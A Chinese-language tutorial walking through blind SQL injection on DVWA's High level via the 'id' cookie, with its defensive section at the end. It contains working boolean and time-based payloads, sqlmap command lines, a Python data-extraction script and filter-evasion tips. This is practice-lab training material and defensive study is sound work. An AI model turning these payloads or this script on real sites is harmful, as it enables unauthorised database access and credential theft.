
1. High级别到底难在哪先把源码看明白再动手DVWA 的 SQL Injection (Blind) 打到 High 这一档很多人第一反应是页面怎么什么都没了。Low 级别好歹有个输入框、提交后告诉你用户存不存在Medium 级别换成了下拉框到了 High你在输入框里敲点东西提交页面刷一下结果就没了——不是没执行而是入口从 URL 参数搬到了 Cookie 里。这一步搬家直接干掉了大部分人的手工直觉也是 SQL 盲注 High 级别真正的门槛所在注入点还在只是你摸不到它了。我先把结论摆在前面方便你对照自己的进度High 级别的注入点位于id这个 Cookie 上后端用$_COOKIE[id]取值后直接拼进 SQL 语句没有任何过滤也不回显数据只告诉你存在或不存在。这意味着布尔盲注和时间盲注依然通吃只是你所有 payload 都得塞进 Cookie 头发出去。下面我按源码、传参、判据三块把这件事讲透再往下才是手工注入、自动化脚本和排错。提醒本文所有操作都基于自己本地部署的练习靶场只做学习用途。任何未授权的目标都不要碰这是底线不是客套话。1.1 三个级别在传参方式上的差异对照先说清楚三个级别到底差在哪这样你就不会拿着 Low 的经验去套 High。很多人卡住不是因为不懂盲注而是因为一直在 URL 里改参数改了半天发现页面根本没反应其实后端压根没读 GET。级别参数位置提交方式结果反馈过滤情况LowURL?idGET页面明文显示 exists / MISSING无过滤Medium下拉框POST 到idPOST页面明文显示 exists / MISSINGmysqli_real_escape_string 数字型转换HighCookieid前端 JS 写 Cookie 后刷新页面明文 404 状态码无过滤但参数位置变了注意 Medium 那一栏它用的是数字型处理你写1会被转义成1\所以 Medium 级别的思路是数字型盲注不需要闭合引号。而 High 级别虽然参数藏起来了闭合方式反而回到了字符型该加还得加。这个反差我第一次打的时候也绕了一圈级别越高过滤不一定越狠但入口一定越刁。1.2 从源码看 High 级别的取值逻辑把 High 级别的后端代码扒出来看核心就几行判断$_COOKIE[id]是否存在存在就拼成SELECT first_name, last_name FROM users WHERE user_id $id;然后mysqli_query执行用mysqli_num_rows数结果行数。行数大于 0 就输出User ID exists in the database.否则发一个 404 头再输出User ID is MISSING from the database.。这段逻辑里有两个关键信息值得单独拎出来。第一$id外面套着单引号说明这是字符型注入闭合符是。第二判断依据是结果集行数是否为 0而不是有没有报错所以你不能靠报错信息来推数据只能靠真/假这一个比特。这就是盲注的本质数据库不告诉你答案只告诉你是或不是然后你自己一个一个问出来。再看前端。页面上那个输入框提交后JS 会把输入值写进document.cookie然后刷新页面。所以你手工测试的时候最省事的路径不是抓包而是直接打开浏览器开发者工具的控制台敲一句document.cookie id1 AND 11#回车刷新页面看结果。这个操作比在 Burp 里改包快十倍尤其是你要反复试几十次的时候。当然批量跑还是得上脚本或 sqlmap。1.3 盲注的两个核心判据布尔与时间盲注说起来就两个判据。布尔判据靠存在/不存在两种页面的差异时间判据靠SLEEP()让响应延迟再拿实际耗时和基线对比。High 级别因为存在 404 状态码布尔判据其实非常干净真的时候 HTTP 200假的时候 HTTP 404。这个状态码差异比字符串匹配稳得多因为页面内容里User ID exists和User ID is MISSING都含有User ID字样你写脚本时如果只匹配前者很容易被自己坑到。我的习惯是两条腿走路手工阶段用布尔判据因为反馈快、易读脚本和 sqlmap 阶段优先用状态码因为抗干扰。时间盲注我一般只在两种情况下用——布尔判据失效比如页面被缓存或者真假返回完全一样或者需要绕过某种基于内容匹配的检测。High 级别的布尔判据是work的所以时间盲注更多是作为备选方案和知识点补充。2. 手工布尔盲注一个字一个字把数据库问出来手工环节不能省。你直接上 sqlmap 当然能跑出结果但一旦跑不出来你不知道是 payload 错了、Cookie 没带上、还是 session 掉了。手工走一遍你才有排查能力。这一节我按确认注入点 → 摸库名 → 摸表名 → 摸列名 → 拖数据的顺序走每一步都给出可复制的 payload 和判断方法。2.1 确认注入点与闭合方式第一步永远是确认注入点存在同时确认闭合方式。先在控制台设 Cookiedocument.cookie id1刷新页面应该显示 exists。再试document.cookie id1 AND 11如果还是 exists说明单引号闭合成功后面的AND 11被当作 SQL 逻辑处理了。接着换document.cookie id1 AND 12页面变成 MISSING且状态码 404。一真一假注入点确认闭合方式确认。如果1 AND 12还是 exists那可能是注释符或引号有问题可以试1 AND 12#或者1 AND 12-- -。这里有个细节要提醒Cookie 值里不能出现分号空格和特殊字符也可能被浏览器或中间件处理掉。所以我在手工阶段习惯把空格写成/**/把#保留在 Cookie 里通常没问题如果遇到异常就整体用encodeURIComponent编一下再塞进去。PHP 读$_COOKIE时会自动做一次 URL 解码所以编码过的 payload 是能正常工作的。2.2 先问库名长度再问库名内容确认注入点之后不要急着拖数据先摸当前数据库名。DVWA 的库名是dvwa但你要假装不知道用盲注问出来这样才是完整的练习。问长度id1 AND LENGTH(DATABASE())4#返回 exists说明库名长度是 4。你可以从 1 开始一个个试也可以直接猜 4。猜不中的时候用大于号做二分会更快id1 AND LENGTH(DATABASE())3#真说明长度大于 3再试4假。长度锁定 4。问内容逐位取字符id1 AND SUBSTR(DATABASE(),1,1)d#真第一位是 d。第二位试SUBSTR(DATABASE(),2,1)v依此类推问出dvwa。手工会很烦四个字符还好如果是十几个字符的库名你就知道为什么要写脚本了。这也是我建议手工只走一遍流程的原因——理解原理剩下的交给自动化。2.3 摸表名information_schema 的取数技巧库名拿到之后下一步是表名。DVWA 库里默认有guestbook和users两张表我们要的是users。查表名走information_schema.tablesid1 AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schemaDATABASE() LIMIT 0,1),1,1)g#LIMIT 0,1取第一张表SUBSTR(...,1,1)取表名第一个字符。如果返回真说明第一张表以 g 开头大概率是guestbook。改成LIMIT 1,1取第二张表再逐字问就能拿到users。这里有个坑information_schema.tables的返回顺序在不同 MySQL 版本、不同建表顺序下可能不一样你不能假设第二张就一定是 users。稳妥的做法是先问表的数量id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemaDATABASE())2#再逐张表问首字母锁定目标。如果表很多还可以用table_name LIKE u%做筛选减少无效循环id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemaDATABASE() AND table_name LIKE u%)1#真说明有且只有一张以 u 开头的表。这招在表多的库里特别省时间。2.4 摸列名与拖数据的取巧写法列名同理走information_schema.columnsid1 AND SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_nameusers LIMIT 0,1),1,1)u#users表默认列是user_id、first_name、last_name、user、password。我们要的是user和password。逐字问比较累可以先用COUNT(*)确认列数再用LIKE做粗筛。拖数据的时候最直接的写法是把两条字段拼起来id1 AND SUBSTR((SELECT CONCAT(user,0x3a,password) FROM users LIMIT 0,1),1,1)a#0x3a是冒号的十六进制写法用来在 Cookie 里避开特殊字符。这样问出来就是admin:5f4dcc3b5aa765d61d8327deb882cf99这种格式LIMIT 0,1控制第几条记录。DVWA 的密码是 MD5问出来之后拿去查表或者用工具跑那是另一件事了这里不展开。提示手工阶段问出前两三个字符验证思路就够了完整的拖库交给脚本。手工会让你对 payload 结构非常熟但真要靠手敲把一整张表问出来效率低到没有实战意义。3. 时间盲注与 Cookie 传参实操布尔盲注在 High 级别是能用的那为什么还要讲时间盲注两个原因。一是有些场景下页面真假返回完全一致布尔判据失效时间就成了唯一信号二是面试和实际评估里时间盲注是必考项你得知道SLEEP()怎么用、怎么测基线、怎么避免误判。这一节把这两件事一起讲。3.1 用 SLEEP 构造一个可测量的信号时间盲注的核心是把查询结果为真映射成响应变慢。最简单的写法id1 AND SLEEP(3)#如果注入点有效这个请求会稳定延迟 3 秒左右。注意是左右不是精确 3 秒因为网络、PHP 执行、MySQL 调度都有开销。所以你不能用3这种硬判据得先测基线。基线怎么测发一个不带SLEEP的正常请求记下耗时比如 80ms再发一个带SLEEP(3)的请求记下耗时比如 3100ms。两者的差值才是你的信号。我在本地环境测下来正常请求 50~120ms 波动SLEEP(3)稳定在 3 秒以上区分度足够。如果目标环境本身响应就要两三秒那SLEEP得加到 5 秒甚至更长否则噪声会把你淹没。实际取数的时候把条件塞进IFid1 AND IF(SUBSTR(DATABASE(),1,1)d,SLEEP(3),0)#第一位是 d 就睡 3 秒不是就立刻返回。这样一个请求对应一个比特逻辑和布尔盲注完全一样只是判据从页面内容换成了耗时。3.2 用 Burp 改 Cookie 的完整流程浏览器控制台适合快速验证但要做系统化的测试还是得靠 Burp。流程不复杂但有几个地方容易漏。第一步浏览器开代理正常访问 High 级别页面让 Burp 抓到那个带 Cookie 的请求。请求行大概是GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1Cookie 头里有PHPSESSID、securityhigh、id1三个值。第二步把请求发到 Repeater直接改id的值。注意securityhigh这个 Cookie 不能丢丢了后端会按 Low 级别处理你的注入点就跑到 URL 上去了很容易误判。第三步观察响应。真的时候状态行是200 OK假的时候是404 Not Found。这个差异在 Repeater 里一眼就能看出来比翻页面内容快。我一般会把id1 AND 11#和id1 AND 12#两个请求并排放在 Repeater 的标签页里来回切换对比确认判据稳定之后再往下走。第四步把请求保存成文件后面 sqlmap 的-r参数要用。保存的时候注意请求里要包含完整的 Cookie 和 User-AgentContent-Length这类头可以留着sqlmap 会自己处理。注意DVWA 的 session 有时效隔一段时间不动就会过期请求会被 302 重定向到登录页。这时候你的脚本会把登录页当成真或者假结果全错。所以脚本里一定要加一句判断响应里出现login.php就重新登录或者直接报错退出。这个坑我踩过不止一次。3.3 时间盲注的适用边界时间盲注不是万能的它有三个明显的短板。第一是慢一个字符要发七八个请求二分一张表几十个字符一个库十几张表算下来几千个请求跑一晚上很正常。第二是噪声敏感目标服务器负载高的时候正常请求也可能卡两三秒你的判据就废了。第三是容易被限制有些环境会限制单连接的执行时间SLEEP(10)直接超时断开。所以我的策略是能用布尔就用布尔布尔不行再上时间时间也不行就考虑带外DNS 或 HTTP 回连带外还不行就说明这个点在当前条件下打不动换思路。High 级别属于布尔完全够用的情况时间盲注在这里更多是练习价值。4. 用 sqlmap 跑 High 级别参数怎么给才不白跑手工走通之后上 sqlmap 是自然选择。但 High 级别有两个地方会让 sqlmap 默认配置失效一是注入点在 Cookie 而不是 URL二是默认的--level 1根本不会去测 Cookie 参数。所以很多人跑了一条命令sqlmap 说参数不可注入其实不是不可注入是它压根没测对地方。4.1--cookie与-r两种姿势的取舍最直接的写法是用--cookie指定注入点用星号标记位置sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ \ --cookieid1*; securityhigh; PHPSESSID你的session值 \ --batch --dbs星号告诉 sqlmap只测这个位置其他 Cookie 原样带过去。这样能避免它去测security和PHPSESSID省时间也少误报。另一种写法是-r读请求文件sqlmap -r high_request.txt -p id --batch --dbs --dbmsmysql-p id明确指定参数名。这种写法适合请求头很复杂的情况比如有自定义 token、Referer 校验直接从 Burp 保存的请求文件里带过来最省事不容易漏头。两种写法我都用过个人偏好-r。原因是 DVWA 的 Cookie 里 session 会变用-r的时候我只需要重新保存一次请求文件命令行不用改用--cookie的话session 一换就得重新拼一遍长命令容易手滑。4.2 level 和 risk 给到多少合适--level控制测试的广度和深度1 到 5。High 级别的注入点在 Cookie--level 2才会开始测 Cookie 头。所以最低给 2我一般给 3让它顺手把 User-Agent、Referer 也测一下虽然这里用不上但对完整评估有帮助。--risk控制 payload 的危险程度1 到 3。3 会包含一些可能改数据的 payload比如OR型更新。练习环境无所谓真实评估里我一般只给 2避免误伤。如果只想测布尔盲注加--techniqueB只想测时间盲注加--techniqueT。High 级别因为存在 404我还会加--code200明确告诉 sqlmap状态码 200 才是真这样它能少走很多弯路速度明显快一截sqlmap -r high_request.txt -p id --batch --dbs \ --level3 --risk2 --techniqueB --code200 --dbmsmysql4.3 跑不出来的时候先看这几项sqlmap 报参数不可注入八成是下面几个原因。第一session 过期了请求被重定向到登录页所有 payload 返回的都是同一个页面判据失效。第二securityhigh这个 Cookie 丢了后端按 Low 处理注入点跑到 URL 上去了。第三--level给低了没测 Cookie。第四请求文件里的Content-Length和实际 body 不一致导致请求被拒。排查顺序我一般是这样先在 Burp 里手动重放一次请求文件确认能拿到 200 和正确页面然后把-v 3打开看 sqlmap 实际发出去的 payload 长什么样对比你手工的成功 payload差在哪一眼就能看出来。-v 3输出的信息量很大但排错的时候非常好用。还有一种情况是 sqlmap 能检测到注入点但跑库跑表特别慢多半是它在用时间盲注。这时候加上--techniqueB和--code200强制走布尔速度会回到正常水平。5. 写个 Python 脚本把布尔盲注自动化sqlmap 好用但它是个黑盒。你想改 payload 结构、想加自定义编码、想控制并发都得自己写。而且写一遍脚本你对盲注的理解会上一个台阶因为每个细节都得自己处理Cookie 怎么带、判据怎么定、二分怎么收敛、异常怎么兜。5.1 整体逻辑二分法 状态码判据脚本的核心就三块。第一块是请求函数把 payload 塞进 Cookie 发出去返回真或假。第二块是字符提取对第 N 位字符做二分查找范围 32 到 126可见 ASCII每次用ASCII(SUBSTR(...)) mid做判断收敛到具体字符。第三块是循环从第一位开始逐位提取遇到空字符或者超过最大长度就停。判据用状态码最稳def check(payload): cookies dict(BASE_COOKIES) cookies[id] payload try: r session.get(TARGET, cookiescookies, timeout10) except requests.RequestException: return False if login.php in r.url: raise RuntimeError(session 过期重新登录) return r.status_code 200注意login.php那个判断非常关键。没有它session 一过期所有请求都返回登录页状态码还是 200脚本会以为全部为真导出满屏乱码你还以为是 payload 写错了。5.2 完整代码与执行说明import requests from urllib.parse import quote TARGET http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/ BASE_COOKIES { PHPSESSID: 替换成你的session, security: high, } session requests.Session() session.headers.update({User-Agent: Mozilla/5.0}) def check(sql): payload 1 AND ({})#.format(sql) cookies dict(BASE_COOKIES) cookies[id] quote(payload, safe) r session.get(TARGET, cookiescookies, timeout10) if login.php in r.url: raise RuntimeError(session 过期) return r.status_code 200 def extract_one(sql, pos): lo, hi 32, 126 while lo hi: mid (lo hi) // 2 if check(ASCII(SUBSTR(({}),{},1)){}.format(sql, pos, mid)): lo mid 1 else: hi mid return chr(lo) if lo 126 else def extract(sql, max_len64): result for pos in range(1, max_len 1): if not check(LENGTH(({})){}.format(sql, pos)): break ch extract_one(sql, pos) if not ch or ord(ch) 32: break result ch print(\r[] {}.format(result), end, flushTrue) print() return result if __name__ __main__: print(extract(SELECT DATABASE()))几个地方解释一下。quote(payload, safe)把整个 payload 做 URL 编码避免空格、单引号、括号在 Cookie 传输中被截断或改写PHP 端的$_COOKIE会自动解码回来所以不影响语义。二分逻辑是找最小的使ASCII(cur) mid的值lo最终落在目标字符上。LENGTH(...) pos那个判断用来确定还有没有下一位没有就跳出省掉一轮无效请求。执行的时候先手工确认 session 有效再跑脚本。跑库名应该几秒出结果跑表名和列名要几十秒跑完整数据看字段长度。脚本里没有加并发因为 DVWA 是本地环境加了并发反而容易触发 session 锁或者请求排队得不偿失。5.3 提速的几个实际做法第一把SLEEP换成布尔判据这是最大的提速点时间盲注一个字符七八个请求、每个等三秒布尔一个字符七八个请求、每个几十毫秒差两个数量级。第二用LIMIT和LIKE做粗筛先用COUNT(*)把范围缩小到具体几张表几个列再逐字问能少问很多无效字符。第三控制最大长度。max_len给 64 对于库名、表名、用户名够用但密码哈希是 32 位字段值可能更长按需调整。给太大只是多几轮确认没下一位的请求不会出错但会慢。第四如果目标环境允许把substr换成mid或者left把ascii换成ord在某些环境里能绕过简单的关键字匹配。这属于绕过思路High 级别用不上但值得知道。6. 常见问题速查与排查思路打到这一步大部分问题都能靠对照表定位。我把实际遇到过的整理成下面这张表按现象查原因比从头读文档快。现象可能原因排查动作改 Cookie 后页面没变化浏览器有同名旧 Cookie 覆盖控制台执行document.cookie检查或清空后用 Burp 重放注入 payload 返回 302session 过期被重定向登录页重新登录脚本里加login.php判断1 AND 11#仍显示 MISSING闭合符不对或被转义试-- -注释、试双引号、确认securityhigh没丢Cookie 值被截断值里含空格或分号整体 URL 编码后再发送sqlmap 报告不可注入--level太低没测 Cookie提到 3或显式-p idsqlmap 跑得极慢走了时间盲注加--techniqueB --code200脚本输出乱码判据反了或 session 过期先用1 AND 11#和1 AND 12#验证判据二分法死循环边界设置错误确认lo32, hi126确认比较符方向时间盲注时快时慢服务器负载波动提高SLEEP时长多测几次取中位数表名问出来是 guestbookLIMIT顺序问题用table_name LIKE u%做筛选除了表里这些还有两个经验性的坑值得单独说。一是#在 Cookie 里的表现。大部分情况下它能正常注释但某些中间件或框架会对 Cookie 值做额外处理导致#后面的内容被吞掉。如果遇到payload 明明对但结果不对试着把#换成-- -或者干脆去掉注释、把后面的引号补齐。二是状态码判断的适用性。High 级别假的时候返回 404这个判据很干净但如果你把脚本挪到别的靶场或者别的关卡判据就得换成字符串匹配不能硬搬。7. 换个位置看这段代码该怎么写才安全打完一轮最有价值的其实不是 payload而是回头看一眼这段代码错在哪。High 级别的写法是典型的参数拼接 无过滤$_COOKIE[id]直接进 SQL。任何从客户端来的数据不管它在 URL、Body 还是 Cookie 里都是不可信的Cookie 尤其容易被忽视因为很多人潜意识里觉得Cookie 是浏览器自己管的用户改不了——恰恰相反Cookie 是用户完全可控的。7.1 参数化查询是唯一正解正确的写法是用预处理语句加绑定参数把id当数据传而不是当 SQL 片段拼$stmt $pdo-prepare(SELECT first_name, last_name FROM users WHERE user_id ?); $stmt-execute([$id]); $rows $stmt-fetchAll();这样即使你传1 OR 11数据库也只会把它当成一个字符串去匹配不会执行成逻辑。escape 函数不是不能用但它依赖字符集、依赖开发者记得每个点都调用漏一个就是洞。参数化查询是从机制上杜绝不依赖人的记性这是两者的本质区别。7.2 类型校验、权限收敛与错误信息除了参数化还有三层能加。第一层是类型校验user_id本来就是数字那就is_numeric或者filter_var过滤一遍不合格直接拒绝连数据库都不用查。这一层能挡掉绝大多数注入尝试成本极低。第二层是数据库权限收敛。Web 应用连数据库的账户只给SELECT权限不给DROP、UPDATE、FILE。这样即使被注入攻击者能做的事也有限至少拖不走整个库、写不了文件。第三层是错误信息。High 级别没有回显报错这其实是它的优点但很多真实系统会把 SQL 报错直接打到页面上等于把表名、列名、数据库版本全送出去。生产环境必须关掉详细错误统一返回通用提示日志留在服务端。7.3 从检测视角看盲注的特征如果你在防守侧盲注有几个可观测的特征。一是同一 IP 短时间内对同一接口的高频请求尤其是参数长度异常、含有大量函数名substr、ascii、sleep、length的请求。二是响应状态码的规律性波动200 和 404 交替出现。三是响应时间的规律性延迟每隔几个请求出现一次固定时长的延迟这是时间盲注的典型指纹。这些特征单独看都不足以定性但组合起来就很明显。实际做监控的时候我会把同一 session 对同一接口的请求频率和响应状态码分布两个指标放在一起看比单纯看 payload 关键字靠谱因为关键字可以被编码、被拆分、被替换但行为模式很难藏。最后说一句我自己的体会。DVWA 这四个级别打下来Low 和 Medium 是让你熟悉注入语法High 是让你理解注入点不只在 URL 里Impossible 是让你明白防御该怎么做。真正拉开差距的不是记住多少 payload而是你能不能在没有回显、没有报错、参数还藏起来的情况下靠一个比特一个比特地把信息抠出来。这个过程很慢但每一步都是确定的这就是盲注最有意思的地方——它不靠运气只靠逻辑。